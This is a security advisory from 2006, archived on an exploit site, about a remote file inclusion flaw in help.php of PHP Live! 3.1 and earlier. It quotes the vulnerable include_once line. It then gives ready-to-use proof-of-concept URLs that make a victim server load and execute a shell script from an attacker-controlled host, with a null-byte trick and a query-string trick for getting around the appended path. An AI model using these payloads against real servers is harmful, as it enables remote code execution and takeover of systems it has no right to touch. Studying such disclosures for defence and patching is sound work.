exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phplive31-rfi.txt

phplive31-rfi.txt
Posted Oct 9, 2006
Authored by Paisterist | Site neosecurityteam.net

PHP Live! versions 3.1 and below suffer from a remote file inclusion vulnerability.

tags | exploit, remote, php, code execution, file inclusion
SHA-256 | 0732b452553cd8bc6ccb911f21c7170c0a9e296112f489ff2cb9bac72d6a5ab6

phplive31-rfi.txt

Change Mirror Download
/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST] - Advisory #25 - 08/10/06
--------------------------------------------------------
Program: PHP Live!
Homepage: http://www.phplivesupport.com/
Vulnerable Versions: 3.1 and prior
Risk: High!
Impact: Critical Risk

-==PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability==-
---------------------------------------------------------

- Description
---------------------------------------------------------
PHP Live! enables live help and live customer support communication directly
from your website. With PHP
Live!, you can provide one-on-one chat assistance in real-time, answer
visitor questions and add that extra human touch to
your website.

- Tested
---------------------------------------------------------
localhost & many sites

- Explotation
---------------------------------------------------------

Vulnerable code:

==[ help.php 30 ]=============================
[...]
<?php $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ;
include_once( $css_path."css/default.php" ) ; ?>
[...]
==[ end help.php ]============================

How we can see there's an arbitrary file inclusion, so we can just include a
file from another server, executing the php code
in the victim's server.

Proof of Concept:
http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo%00

We use a NULL byte at the final of the string because include_once() take a
null byte like the end of a string. In this way,
"css/default.php" doesn't appears at the end of the var.

If you don't wanna use a NULL byte you can do something like:

http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo?foo=

In this way $foo has css/default.php in the attacker script.


Note: this vulnerability is present only if register_globals is turned on.

There are a lot of Local and Remote File Inclusion vulnerabilities in this
script... but there is no reason to publish it.

- How to fix it? More information?
--------------------------------------------------------
Visit our forum to know how to fix it or to get more information.
http://www.neosecurityteam.net/foro/

- References
--------------------------------------------------------
http://www.neosecurityteam.net/index.php?action=advisories&id=25

- Credits
--------------------------------------------------------
Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/


- Greets
--------------------------------------------------------
HaCkZaTaN
K4P0
Daemon21
Link
0m3gA_x
LINUX
m0rpheus
nikyt0x

Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@ @@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@

/* EOF *
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close